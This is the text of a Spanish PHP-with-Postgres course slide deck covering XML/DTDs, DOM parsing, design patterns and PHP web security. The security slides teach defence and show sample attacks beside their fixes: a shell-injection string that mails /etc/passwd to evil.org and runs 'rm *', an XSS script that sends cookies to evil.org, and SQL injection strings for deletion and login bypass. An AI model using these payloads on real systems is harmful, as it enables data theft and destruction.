  <!ELEMENT nombreElemento (sEl1*,sEl2+,sEl3?) >
          * Indica que el elemento puede aparecer 0 ó más veces
          + indica que el elemento puede aparecer 1 ó más veces
          ? Indica que el elemento puede aparecer 0 ó 1 vez
  <!ELEMENT nombre (sEl1|sEl2) >
          | indica que debo elegir alguno de los dos elementos
  <!ELEMENT nombre (#PCDATA|sEl1) >
          Para aceptar que un elemento tenga texto o subelementos
  <!ELEMENT nombre (sEl1,sEL2) >
  <!ATTLIST nombre
          at1 CDATA #REQUIRED
          at2 CDATA #IMPLIED
          at3 ID       #REQUIRED
          at4 (yes | no) #REQUIRED >
          Tipo ID puede haber sólo 1, at4 tiene definido los valores que
          puede recibir, para definir el valor por defecto de un #IMPLIED se
          reemplaza #IMPLIED por este valor
         PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – XML : DTDs
XML desde PHP
Ejemplo de XML:
  <?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot;?>
  <bloque>
          <noticia>
                    <titulo>Hola Caracola </titulo>
                    <autor>KaoS</autor>
                    <cuerpo>Olla Kaitos a Luisete</cuerpo>
          </noticia>
          <noticia>
                    <titulo>Nuevo articulo en desarrolloweb </titulo>
                    <autor>Raul</autor>
                    <cuerpo>Jeje hola, aqui estamos </cuerpo>
          </noticia>
  </bloque>
  Guardarlo en “noticias.xml”

         PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
XML desde PHP
Leer el archivo:
   <?
   //$ruta_fichero=quot;http://www.dominio.com/noticias.xmlquot;;
   $ruta_fichero=quot;noticias.xmlquot;;
   $contenido = quot;quot;;
   if($da = fopen($ruta_fichero,quot;rquot;)) {
             while ($aux= fgets($da,1024)) {
                      $contenido.=$aux;
             }
             fclose($da);
   } else {
             echo quot;Error: no se ha podido leer el archivo
             <strong>$ruta_fichero</strong>quot;;
   } ?>

   Esto dentro de un archivo “noticias.php”
          PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
XML desde PHP
Procesar el XML:
   $tagnames = array (quot;tituloquot;,quot;autorquot;,quot;cuerpoquot;);
   if (!$xml = domxml_open_mem($contenido)){
              echo quot;Ha ocurrido un error al procesar el documento<strong>
              quot;$ruta_ficheroquot;</strong> a XML <br>quot;;
              exit;
   } else {
              $raiz = $xml->document_element();
              $tam=sizeof($tagnames);
              for($i=0; $i<$tam; $i++){
                         $nodo = $raiz->get_elements_by_tagname($tagnames[$i]);
                         $j=0;
                         foreach ($nodo as $etiqueta) {
                                    $matriz[$j][$tagnames[$i]]=$etiqueta->get_content();
                                    $j++;
                         }
              }
   }
          PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
XML desde PHP
Mostrar los Datos:


   <?
   $num_noticias=sizeof($matriz);
   for($i=0;$i<$num_noticias;$i++) {
             echo '<table border=1><tr><td align=center>‘
                      .$matriz[$i][quot;tituloquot;].'</td></tr><tr><td>‘
                      .$matriz[$i][quot;cuerpoquot;].'</td></tr><tr><td align=right >‘
                      .$matriz[$i][quot;autorquot;]
                      .'</td></tr></table><br>';
   } ?>




         PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
Patrones de Diseño
Introducción:


   Los patrones de diseño (design patterns) son la base para la
   búsqueda de soluciones a problemas comunes en el desarrollo de
   software y otros ámbitos referentes al diseño de interacción o interfaces.
   Un patrón de diseño es una solución a un problema de diseño.

   Para que una solución sea considerada un patrón debe poseer ciertas
   características. Una de ellas es que debe haber comprobado su
   efectividad resolviendo problemas similares en ocasiones anteriores.
   Otra es que debe ser reusable, lo que significa que es aplicable a
   diferentes problemas de diseño en distintas circunstancias.




    PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
Patrones de Diseño
Categorías:

   • Patrones arquitecturales: Aquéllos que expresan un esquema
   organizativo estructural fundamental para sistemas software.
   • Patrones de diseño: Aquéllos que expresan esquemas para definir
   estructuras de diseño (o sus relaciones) con las que construir sistemas
   software.
   • Idiomas: Patrones de bajo nivel específicos para un lenguaje de
   programación o entorno concreto.

   Además, también es importante reseñar el concepto de Antipatrón de
   Diseño, que con forma semejante a la de un patrón, intenta prevenir
   contra errores comunes de diseño en el software.




    PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
Patrones de Diseño
Patrones estructurales:

    • Adapter (Adaptador): Adapta una interfaz para que pueda ser utilizada
    por una clase que de otro modo no podría utilizarla.

    • Bridge (Puente): Desacopla una abstracción de su implementación.

    • Composite (Objeto compuesto): Permite tratar objetos compuestos
    como si de uno simple se tratase.

    • Decorator (Envoltorio): Añade funcionalidad a una clase
    dinámicamente.




     PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
Patrones de Diseño
Patrones estructurales:

    • Facade (Fachada): Provee de una interfaz unificada simple para
    acceder a una interfaz o grupo de interfaces de un subsistema.

    • Flyweight (Peso ligero): Reduce la redundancia cuando gran cantidad
    de objetos poseen idéntica información.

    •Proxy : Mantiene un representante de un objeto.




     PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
Patrones de Diseño
Patrones de Comportamiento:

   • Chain of Responsibility (Cadena de responsabilidad): Permite
   establecer la línea que deben llevar los mensajes para que los objetos
   realicen la tarea indicada.

   • Command (Orden): Encapsula una operación en un objeto,
   permitiendo ejecutar dicha operación sin necesidad de conocer el
   contenido de la misma.

   • Interpreter (Intérprete): Dado un lenguaje, define una gramática para
   dicho lenguaje, así como las herramientas necesarias para interpretarlo.

   • Iterator (Iterador): Permite realizar recorridos sobre objetos
   compuestos independientemente de la implementación de estos.

    PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
Patrones de Diseño
Patrones de Comportamiento:

   • Mediator (Mediador): Define un objeto que coordine la comunicación
   entre objetos de distintas clases, pero que funcionan como un conjunto.

   • Memento (Recuerdo): Permite volver a estados anteriores del sistema.

   • Observer (Observador): Define una dependencia de uno-a-muchos
   entre objetos, de forma que cuando un objeto cambie de estado se
   notifique y actualicen automáticamente todos los objetos que dependen
   de él.

   • State (Estado): Permite que un objeto modifique su comportamiento
   cada vez que cambie su estado interno.



    PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
Patrones de Diseño
Patrones de Comportamiento:

   • Strategy (Estrategia): Permite disponer de varios métodos para
   resolver un problema y elegir cuál utilizar en tiempo de ejecución.

   • Template Method (Método plantilla): Define en una operación el
   esqueleto de un algoritmo, delegando en las subclases algunos de sus
   pasos, esto permite que las subclases redefinan ciertos pasos de un
   algoritmo sin cambiar su estructura.

   • Visitor (Visitante): Permite definir nuevas operaciones sobre una
   jerarquía de clases sin modificar las clases sobre las que opera.




    PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
Patrones de Diseño
Patrones creacionales:

    •Abstract Factory (Fábrica abstracta): Permite trabajar con objetos de
    distintas familias de manera que las familias no se mezclen entre sí y
    haciendo transparente el tipo de familia concreta que se esté usando.

    • Builder (Constructor virtual): Abstrae el proceso de creación de un
    objeto complejo, centralizando dicho proceso en un único punto.

    • Factory Method (Método de fabricación): Centraliza en una clase
    constructora la creación de objetos de un subtipo de un tipo
    determinado, ocultando al usuario la casuística para elegir el subtipo
    que crear.




    PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
Patrones de Diseño
Patrones creacionales:

    • Prototype (Prototipo): Crea nuevos objetos clonándolos de una
    instancia ya existente.

    • Singleton (Instancia única): Garantiza la existencia de una única
    instancia para una clase y la creación de un mecanismo de acceso
    global a dicha instancia.




    PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
Seguridad
Definición:

    • Entendemos por aplicaciones web a todo aquél software que
    interacciona con el usuario utilizando el protocolo HTTP. Por su parte,
    los servicios web son un conjunto de funciones empaquetadas dentro
    de una entidad única y publicadas dentro de la red para que puedan ser
    utilizadas por las aplicaciones web.




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
Seguridad
Lineas frecuentes de ataques:

         • Saltarse las validaciones

         • Inyección de código

         • Inyeccion de SQL

         • Inyeccion de Cookies

         • XSS – Cross Site Scripting




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
Seguridad
Saltarse las validaciones - Objetivo:

         El objetivo es que la aplicación colapse, de una
         manera interesante para el atacante.

         • Dejando a la aplicación en un estado invalido, de
         modo que deje de estar operativa.

         • Revelando información de depuración, que permita
         conocer detalles importantes acerca de la plataforma
         usada, para luego aprovechar los problemas de
         seguridad conocidos que esta tenga.




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
Seguridad
Saltarse las validaciones - ¿Cómo?:

         Existen 2 tipos de validación, la del lado del cliente y la
         del lado del servidor.

         En el primer caso, tenemos como ventaja el rápido
         feedback con el cliente. Pero si no va acompañada de
         la segunda, tenemos un grave problema de seguridad:

         Se puede generar un nuevo formulario, que envíe los
         datos sin ser validados al server.




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
Seguridad
Validación en el servidor:

         PHP ofrece múltiples funciones para validar datos:

         • is_int(), is_float(), is_bool(), is_finite(), is_nan(), etc

         • intval(), floatval(), doubleval(), etc

         • strlen(), strpos(), etc




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
Seguridad
Inyección de código - Objetivo:

         Hacer que nuestro script ejecute algún código
         ingresado por el atacante. Este código habitualmente
         apunta a:

         • Mostrar información acerca de la plataforma

         • Dañar el sistema

         • Generar nuevas vulnerabilidades de seguridad.




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
Seguridad
Inyección de código - ¿Cómo?:

        Generalmente a través de variables GET, POST o
        COOKIE, que no se valida correctamente (o
        simplemente no se valida)

        Ejemplo:
        $filename=$_GET[‘datoString’];
        $message=file_get_contents($filename);
        echo $message;

        Si se llama
        www.cursophp.org/miscript.php?datoString=hola.txt
        Pero si se llama
        www.cursophp.org/miscript.php?datoString=pass.cfg


      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
Seguridad
Inyección de código - ¿Cómo?:

<?php $fp = popen('/usr/sbin/sendmail -i '. $_GET[‘to’], 'w'); ?>

Se llama con el siguiente query string:
*.php?to=evil%40evil.org+%3C+%2Fetc%2Fpasswd%3B+rm+%2A

Ejecutaría:
/usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm *

Solución:
<?php $fp = popen('/usr/sbin/sendmail -i '. scapeshellarg($_GET[‘to’]), 'w'); ?>




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
Seguridad
Inyección de código - ¿Cómo?:



        Los includes de scripts referenciados desde GET o
        POST no debieran usarse y de ser así, validar muy
        bien los datos.




      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
Seguridad
Inyección de código - ¿Cómo?:

      Supongamos que este codigo está dentro del módulo de
      mensajeria de nuestra aplcación
               <?php ... echo quot;<TD> $subject </TD>quot;; ?>
      Un usuario malicioso podría enviar un mensaje con el asunto:
               <script> self.location.href= quot;http://evil.org/cookie-
               grab.html?cookies=quot; +escape(document.cookie)
               </script>
      Llamando a su servidor, donde revisando el log de los request,
      tendrá la información de nuestras cookies

      Solución:
      <?php ... echo quot;<TD> quot;.htmlspecialchars($subject).quot; </TD>quot;; ?>



      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
Seguridad
Inyección de SQL - Objetivo:

      Alterar los datos en la base de datos para que ocurra alguna de las
      siguientes situaciones:

      •La aplicación colapse porque se ingresaron datos que no
      concuerdan con lo esperado.

      •Se pierda información producto de la eliminación de registros.

      •Se produzcan errores de SQL, que permitan obtener información
      de depuración y así encontrar vulnerabilidades.




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
Seguridad
Inyección de SQL - ¿Cómo?:

     Ingresando partes de sentencias sql de actualizacion de bd, en los
     parametros que incluye la query.

     Ejemplo:

     $user_name=$_GET[‘u_name’];
     $sql=“SELECT * FROM users WHERE user_name=‘$user_name’ ”;
     $result=pg_query($sql);

     Si se llama: *.php?u_name=Jorge ningún problema, pero si se
     llama: *.php?u_name=Jorge;DELETE FROM users; tendremos
     problemas.



      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
Seguridad
Inyección de SQL - ¿Cómo?:
     Otro ejemplo:
     $user_name=$_GET[‘u_name’];
     $pass=$_GET[‘password’];
     $sql=“SELECT * FROM users WHERE user_name=‘$user_name’ AND
     password=‘$pass’ ”;
     $result=pg_query($sql);

     Si se llama:
     *.php?u_name=Jorge&password=123
     ningún problema, pero si se llama:
     *.php?u_name=Jorge&password=123’ or ‘’=‘
     Se ejecutaría el sql: SELECT * FROM users WHERE user_name=‘Jorge’
     AND password=‘123’ or ‘’=‘’
     Lo que probablemente garantizaría el ingreso del usuario, sin necesidad de
     que el password coincida.


      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
Seguridad
XSS – Cross Site Scripting:


      La idea es reemplazar una direccion http por un codigo malicioso,
      permitiendo esto:

      •El pishing

      •La ejecución de scripts dañinos

      •El robo de información privada




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
Seguridad
Proteger el servidor web:

      Para esto debemos tener en cuenta lo siguiente:

      • Mientras el atacante menos sepa del servidor, más dificil será su
      tarea.

      • Mientras menos servicios de red ofrezca el servidor más seguro
      será.

      • Si vulneran el sistema operativo, no tenemos nada que hacer. Por
      lo que debe ser lo más robusto posible contra ataques locales y
      remotos.




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache
Seguridad
Proteger el servidor web:

      • El acceso remoto al servidor debe estar controlado por un firewall
      que permita el acceso sólo en el puerto HTTP (TCP:80)

      • Apache no debe tener activado ningún modulo que no sea
      necesario.

      • Apache debe tener acceso restringido al sistema de archivos

      • Chroot para apache.

      • Debe ser posible almacenar en un archivo de texto los request
      GET y POST para usar programas adicionales para la deteccion de
      intrusos.

       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache
Seguridad
Medidas Concretas:

     • En httpd.conf setear safe_mode = On

     • Modificar la linea AddType applicaton/x-httpd-php .php a AddType
     applicaton/x-httpd-php .do y renombrar todos los archivos .php a
     .do




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache
Fin
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Fin del curso

Weitere ähnliche Inhalte

Was ist angesagt?

Procedimientos almacenados
Procedimientos almacenadosProcedimientos almacenados
Procedimientos almacenadosVicente Alberca
 
Modelo osi, ancho de banda y teconologías
Modelo osi, ancho de banda y teconologíasModelo osi, ancho de banda y teconologías
Modelo osi, ancho de banda y teconologíasrodrigo_ing
 
Cluster pelican hpc
Cluster pelican hpcCluster pelican hpc
Cluster pelican hpcAngel Joshua
 
Sockets y canales
Sockets y canalesSockets y canales
Sockets y canalesJuan Anaya
 
Padrões de Projeto em Aplicações Web
Padrões de Projeto em Aplicações WebPadrões de Projeto em Aplicações Web
Padrões de Projeto em Aplicações WebJonata Weber
 
DOMinando JavaScript
DOMinando JavaScriptDOMinando JavaScript
DOMinando JavaScriptThiago Poiani
 
Introdução básica ao JavaScript
Introdução básica ao JavaScriptIntrodução básica ao JavaScript
Introdução básica ao JavaScriptCarlos Eduardo Kadu
 
Introdução a JavaScript
Introdução a JavaScriptIntrodução a JavaScript
Introdução a JavaScriptBruno Catão
 
Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.
Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.
Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.Anthony Torres Bastidas
 
Secuencia DORA del protocolo ARP analizado con wireshark
Secuencia DORA del protocolo ARP analizado con wiresharkSecuencia DORA del protocolo ARP analizado con wireshark
Secuencia DORA del protocolo ARP analizado con wireshark123
 
10 Java Script - Exemplos práticos
10 Java Script - Exemplos práticos10 Java Script - Exemplos práticos
10 Java Script - Exemplos práticosCentro Paula Souza
 
Bases de Datos NoSQL - Riak
Bases de Datos NoSQL - Riak Bases de Datos NoSQL - Riak
Bases de Datos NoSQL - Riak Andrei Amador
 
Documentos de analisis de requerimientos
Documentos de analisis de requerimientosDocumentos de analisis de requerimientos
Documentos de analisis de requerimientosMilton Garzon
 
Taller de programación web sesion 7,8,9,10 & 11
Taller de programación web   sesion 7,8,9,10 & 11Taller de programación web   sesion 7,8,9,10 & 11
Taller de programación web sesion 7,8,9,10 & 11ibcalu
 

Was ist angesagt? (20)

Procedimientos almacenados
Procedimientos almacenadosProcedimientos almacenados
Procedimientos almacenados
 
RMI
RMIRMI
RMI
 
Modelo osi, ancho de banda y teconologías
Modelo osi, ancho de banda y teconologíasModelo osi, ancho de banda y teconologías
Modelo osi, ancho de banda y teconologías
 
Cluster pelican hpc
Cluster pelican hpcCluster pelican hpc
Cluster pelican hpc
 
Sockets y canales
Sockets y canalesSockets y canales
Sockets y canales
 
Casos de Uso en UML
Casos de Uso en UMLCasos de Uso en UML
Casos de Uso en UML
 
Java web Lección 04 - JSTL
Java web Lección 04 - JSTLJava web Lección 04 - JSTL
Java web Lección 04 - JSTL
 
Padrões de Projeto em Aplicações Web
Padrões de Projeto em Aplicações WebPadrões de Projeto em Aplicações Web
Padrões de Projeto em Aplicações Web
 
DOMinando JavaScript
DOMinando JavaScriptDOMinando JavaScript
DOMinando JavaScript
 
Interactuando con a2billing
Interactuando con a2billingInteractuando con a2billing
Interactuando con a2billing
 
Introdução básica ao JavaScript
Introdução básica ao JavaScriptIntrodução básica ao JavaScript
Introdução básica ao JavaScript
 
Introdução a JavaScript
Introdução a JavaScriptIntrodução a JavaScript
Introdução a JavaScript
 
Servicios DHCP, DNS y TELNET
Servicios DHCP, DNS y TELNETServicios DHCP, DNS y TELNET
Servicios DHCP, DNS y TELNET
 
Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.
Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.
Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.
 
Secuencia DORA del protocolo ARP analizado con wireshark
Secuencia DORA del protocolo ARP analizado con wiresharkSecuencia DORA del protocolo ARP analizado con wireshark
Secuencia DORA del protocolo ARP analizado con wireshark
 
10 Java Script - Exemplos práticos
10 Java Script - Exemplos práticos10 Java Script - Exemplos práticos
10 Java Script - Exemplos práticos
 
Bases de Datos NoSQL - Riak
Bases de Datos NoSQL - Riak Bases de Datos NoSQL - Riak
Bases de Datos NoSQL - Riak
 
NAT|PAT
NAT|PATNAT|PAT
NAT|PAT
 
Documentos de analisis de requerimientos
Documentos de analisis de requerimientosDocumentos de analisis de requerimientos
Documentos de analisis de requerimientos
 
Taller de programación web sesion 7,8,9,10 & 11
Taller de programación web   sesion 7,8,9,10 & 11Taller de programación web   sesion 7,8,9,10 & 11
Taller de programación web sesion 7,8,9,10 & 11
 

Andere mochten auch

Cuaderno de-ejercicios-y-practicas-php
Cuaderno de-ejercicios-y-practicas-phpCuaderno de-ejercicios-y-practicas-php
Cuaderno de-ejercicios-y-practicas-phplgcj1989
 
Buenas Prácticas de Programación en PHP
Buenas Prácticas de Programación en PHPBuenas Prácticas de Programación en PHP
Buenas Prácticas de Programación en PHPJesus Castagnetto
 
FRAMEWORD Yii
FRAMEWORD YiiFRAMEWORD Yii
FRAMEWORD Yiicritinasb
 
Yii inicios
Yii iniciosYii inicios
Yii iniciosfede003
 
PostgreSQL - Lección 6 - Subconsultas
PostgreSQL - Lección 6 - SubconsultasPostgreSQL - Lección 6 - Subconsultas
PostgreSQL - Lección 6 - SubconsultasNicola Strappazzon C.
 
Agile development and domain driven design
Agile development and domain driven designAgile development and domain driven design
Agile development and domain driven designJacopo Romei
 
PostgreSQL - Lección 7 - Usando los operadores de conjunto
PostgreSQL - Lección 7 - Usando los operadores de conjuntoPostgreSQL - Lección 7 - Usando los operadores de conjunto
PostgreSQL - Lección 7 - Usando los operadores de conjuntoNicola Strappazzon C.
 
Metodología de una auditoría de sistema
Metodología de una auditoría de sistemaMetodología de una auditoría de sistema
Metodología de una auditoría de sistemaLily Sanchez
 
Pfsense: securizando tu infraestructura
Pfsense: securizando tu infraestructuraPfsense: securizando tu infraestructura
Pfsense: securizando tu infraestructuraAlex Casanova
 
53458737 manual-de-usuario-de-pfsense-firewall
53458737 manual-de-usuario-de-pfsense-firewall53458737 manual-de-usuario-de-pfsense-firewall
53458737 manual-de-usuario-de-pfsense-firewallSebastian Berrios Vasquez
 
PostgreSQL - Lección 2 - Restringiendo y Ordenando los Datos retornados por e...
PostgreSQL - Lección 2 - Restringiendo y Ordenando los Datos retornados por e...PostgreSQL - Lección 2 - Restringiendo y Ordenando los Datos retornados por e...
PostgreSQL - Lección 2 - Restringiendo y Ordenando los Datos retornados por e...Nicola Strappazzon C.
 
PostgreSQL - Lección 1 - Usando la sentencia SELECT
PostgreSQL - Lección 1 - Usando la sentencia SELECTPostgreSQL - Lección 1 - Usando la sentencia SELECT
PostgreSQL - Lección 1 - Usando la sentencia SELECTNicola Strappazzon C.
 

Andere mochten auch (20)

Cuaderno de-ejercicios-y-practicas-php
Cuaderno de-ejercicios-y-practicas-phpCuaderno de-ejercicios-y-practicas-php
Cuaderno de-ejercicios-y-practicas-php
 
Buenas Prácticas de Programación en PHP
Buenas Prácticas de Programación en PHPBuenas Prácticas de Programación en PHP
Buenas Prácticas de Programación en PHP
 
Curso Php
Curso PhpCurso Php
Curso Php
 
Yii framework
Yii frameworkYii framework
Yii framework
 
LODHA PRIMERO
LODHA PRIMEROLODHA PRIMERO
LODHA PRIMERO
 
FRAMEWORD Yii
FRAMEWORD YiiFRAMEWORD Yii
FRAMEWORD Yii
 
Yii inicios
Yii iniciosYii inicios
Yii inicios
 
Framework Yii
Framework YiiFramework Yii
Framework Yii
 
Ejercicios
EjerciciosEjercicios
Ejercicios
 
Postgre sql
Postgre sqlPostgre sql
Postgre sql
 
PostgreSQL - Lección 6 - Subconsultas
PostgreSQL - Lección 6 - SubconsultasPostgreSQL - Lección 6 - Subconsultas
PostgreSQL - Lección 6 - Subconsultas
 
Agile development and domain driven design
Agile development and domain driven designAgile development and domain driven design
Agile development and domain driven design
 
PostgreSQL - Lección 7 - Usando los operadores de conjunto
PostgreSQL - Lección 7 - Usando los operadores de conjuntoPostgreSQL - Lección 7 - Usando los operadores de conjunto
PostgreSQL - Lección 7 - Usando los operadores de conjunto
 
Metodología de una auditoría de sistema
Metodología de una auditoría de sistemaMetodología de una auditoría de sistema
Metodología de una auditoría de sistema
 
Pfsense: securizando tu infraestructura
Pfsense: securizando tu infraestructuraPfsense: securizando tu infraestructura
Pfsense: securizando tu infraestructura
 
53458737 manual-de-usuario-de-pfsense-firewall
53458737 manual-de-usuario-de-pfsense-firewall53458737 manual-de-usuario-de-pfsense-firewall
53458737 manual-de-usuario-de-pfsense-firewall
 
PostgreSQL - Lección 10 - Vistas
PostgreSQL - Lección 10 - VistasPostgreSQL - Lección 10 - Vistas
PostgreSQL - Lección 10 - Vistas
 
PostgreSQL - Lección 2 - Restringiendo y Ordenando los Datos retornados por e...
PostgreSQL - Lección 2 - Restringiendo y Ordenando los Datos retornados por e...PostgreSQL - Lección 2 - Restringiendo y Ordenando los Datos retornados por e...
PostgreSQL - Lección 2 - Restringiendo y Ordenando los Datos retornados por e...
 
PostgreSQL - Lección 9 - Tablas
PostgreSQL - Lección 9 - TablasPostgreSQL - Lección 9 - Tablas
PostgreSQL - Lección 9 - Tablas
 
PostgreSQL - Lección 1 - Usando la sentencia SELECT
PostgreSQL - Lección 1 - Usando la sentencia SELECTPostgreSQL - Lección 1 - Usando la sentencia SELECT
PostgreSQL - Lección 1 - Usando la sentencia SELECT
 

Ähnlich wie PHP con Postgres - Curso de 3 horas (20)

Php basico
Php basicoPhp basico
Php basico
 
Apuntes php
Apuntes phpApuntes php
Apuntes php
 
Programacion en php atavez de ejemplos
Programacion en php atavez de ejemplosProgramacion en php atavez de ejemplos
Programacion en php atavez de ejemplos
 
Apuntes php
Apuntes phpApuntes php
Apuntes php
 
Apuntes php
Apuntes phpApuntes php
Apuntes php
 
Programacion en php a traves de ejemplos
Programacion en php a traves de ejemplosProgramacion en php a traves de ejemplos
Programacion en php a traves de ejemplos
 
Ejemplos en php
Ejemplos en phpEjemplos en php
Ejemplos en php
 
Apuntes php.pdf ejemplos
Apuntes php.pdf ejemplosApuntes php.pdf ejemplos
Apuntes php.pdf ejemplos
 
Apuntes php
Apuntes phpApuntes php
Apuntes php
 
Apuntes php
Apuntes phpApuntes php
Apuntes php
 
33 php
33 php33 php
33 php
 
Php!
Php!Php!
Php!
 
Php
PhpPhp
Php
 
MAnual de php básico
MAnual de php básicoMAnual de php básico
MAnual de php básico
 
Introduccion a php
Introduccion a phpIntroduccion a php
Introduccion a php
 
Introducción a Php basico
Introducción a Php basicoIntroducción a Php basico
Introducción a Php basico
 
Guiacursophp sql
Guiacursophp sqlGuiacursophp sql
Guiacursophp sql
 
Curso introduccionphp sql
Curso introduccionphp sqlCurso introduccionphp sql
Curso introduccionphp sql
 
Tema4.pdf
Tema4.pdfTema4.pdf
Tema4.pdf
 
Curso php desde_cero
Curso php desde_ceroCurso php desde_cero
Curso php desde_cero
 

Kürzlich hochgeladen

Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx241521559
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)GDGSucre
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricKeyla Dolores Méndez
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíassuserf18419
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITMaricarmen Sánchez Ruiz
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...silviayucra2
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxLolaBunny11
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveFagnerLisboa3
 
Desarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfDesarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfJulian Lamprea
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan JosephBRAYANJOSEPHPEREZGOM
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfsoporteupcology
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIAWilbisVega
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudianteAndreaHuertas24
 

Kürzlich hochgeladen (13)

Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnología
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNIT
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
